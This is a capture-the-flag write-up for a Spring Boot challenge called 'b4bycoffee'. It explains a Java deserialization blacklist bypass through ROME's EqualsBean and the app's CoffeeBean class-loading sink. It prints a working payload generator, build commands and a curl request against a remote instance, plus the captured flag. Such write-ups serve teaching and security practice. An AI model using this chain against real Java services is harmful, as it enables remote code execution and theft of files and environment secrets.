---
title: "b4bycoffee"
ctf: "Online CTF (remote instance at http://49.232.142.230:17562)"
date: 2026-10-13
category: web
difficulty: medium
points: unknown
flag_format: "flag{...}"
---
# b4bycoffee
## Summary
Spring Boot Java-deserialization challenge.`POST /b4by/coffee`base64-decodes the JSON field`venti`and passes it through a custom`AntObjectInputStream`whose 5-entry blacklist (BadAttributeValueExpException, ROME ObjectBean/ToStringBean, TemplatesImpl, Runtime) kills the classic chains — but ROME's`EqualsBean`is not on the list, and`beanHashCode()`calls`obj.toString()`. The app's own`CoffeeBean.toString()`is the sink: it`defineClass`-loads a byte array and calls`newInstance()`, giving arbitrary bytecode execution. Flag read from`/flag`and leaked in-band by writing to the current HTTP response.
## Solution
### Step 1: Identify the sink and the blacklist bypass
Decompiled the attached`b4bycoffee-0.0.1-SNAPSHOT.jar`(CFR, target JDK 8):
-`coffeeController.order()`—`AntObjectInputStream.readObject()`on base64 of`coffee.Venti`, result cast to`Venti`→ deserialization primitive.
-`AntObjectInputStream.resolveClass()`— blacklist of 5 class names:`javax.management.BadAttributeValueExpException`,`com.rometools.rome.feed.impl.ObjectBean`,`com.rometools.rome.feed.impl.ToStringBean`,`com.sun...TemplatesImpl`,`java.lang.Runtime`. Only names appearing**in the stream**are checked; class*bytecode*inside a`byte[]`field is never resolved.
-`CoffeeBean extends ClassLoader implements Serializable`—`toString()`does`new CoffeeBean().defineClass(null, this.ClassByte, 0, len).newInstance()`→ the RCE sink. It is serializable and not blacklisted.
-ROME 1.7.0 ships in`BOOT-INF/lib`. Its`EqualsBean implements Serializable`(not blacklisted) with`hashCode() → beanHashCode() → this.obj.toString()`.
Chain:`HashMap.readObject()`→`hash(key)`→`EqualsBean.hashCode()`→`CoffeeBean.toString()`→`defineClass`+`newInstance()`on the embedded`Evil`bytecode.
### Step 2: Build and fire the payload
`Evil.java`(public no-arg ctor) runs during deserialization: reads common flag paths,`ls -la /`+`env`via`/bin/sh`, then dumps everything into the**current HTTP response**obtained from`RequestContextHolder.currentRequestAttributes()`(same request thread), so the flag comes back in-band with no outbound connectivity needed. Key detail: Spring classes must be loaded via the**thread context classloader**— the evil class is defined in a`CoffeeBean`classloader instance whose parent is the system loader, so plain`Class.forName(...)`throws ClassNotFoundException.
Payload generator avoids executing the payload locally:`ClassByte`is first set to a harmless`Dummy.class`(the local`map.put()`triggers`hashCode→toString→defineClass`on the dummy), then reflection swaps in the real`Evil`bytes just before serialization.
```java
// Gen.java — build the serialized HashMap payload (JDK 8)
importcom.example.b4bycoffee.model.CoffeeBean;
importcom.rometools.rome.feed.impl.EqualsBean;
importjava.io.*;
importjava.lang.reflect.Field;
importjava.util.Base64;
importjava.util.HashMap;
publicclassGen{
publicstaticvoidmain(String[]args)throwsException {
CoffeeBean bean=newCoffeeBean();
Field f=CoffeeBean.class.getDeclaredField("ClassByte");
f.setAccessible(true);
f.set(bean,read(args[0]));// Dummy.class: harmless during local map.put()
HashMap<Object,Object> m=newHashMap<>();
m.put(newEqualsBean(Object.class, bean),"x");
f.set(bean,read(args[1]));// Evil.class: real payload, swapped in pre-serialization
ByteArrayOutputStream bos=newByteArrayOutputStream();
ObjectOutputStream oos=newObjectOutputStream(bos);
oos.writeObject(m);
oos.close();
System.out.println(Base64.getEncoder().encodeToString(bos.toByteArray()));
}
staticbyte[]read(Stringp)throwsIOException {
InputStream in=newFileInputStream(p);
ByteArrayOutputStream b=newByteArrayOutputStream();
intn;byte[] buf=newbyte[8192];
while((n=in.read(buf))>0) b.write(buf,0, n);
in.close();
returnb.toByteArray();
}
}
```
```bash
# classpath = extracted jar: BOOT-INF/classes + BOOT-INF/lib/rome-1.7.0.jar
javac -cp "$CP" Gen.java Dummy.java Evil.java
java -cp "$CP;." Gen Dummy.class Evil.class > payload.b64
PAY=$(cat payload.b64)
curl -m 40 -X POST -H "Content-Type: application/json" \
-d "{\"venti\":\"$PAY\"}" http://49.232.142.230:17562/b4by/coffee
```
Response (truncated):
```text
<<<FLAGDATA>>>
[user.dir]=/home/app
[/flag] flag{803702b0126f7ad2839ac8a65bd35ed2}
-rw-r--r-- 1 root root 39 Oct 13 08:26 /flag
...
<<<ENDDATA>>>
```
## Flag
```
flag{803702b0126f7ad2839ac8a65bd35ed2}
```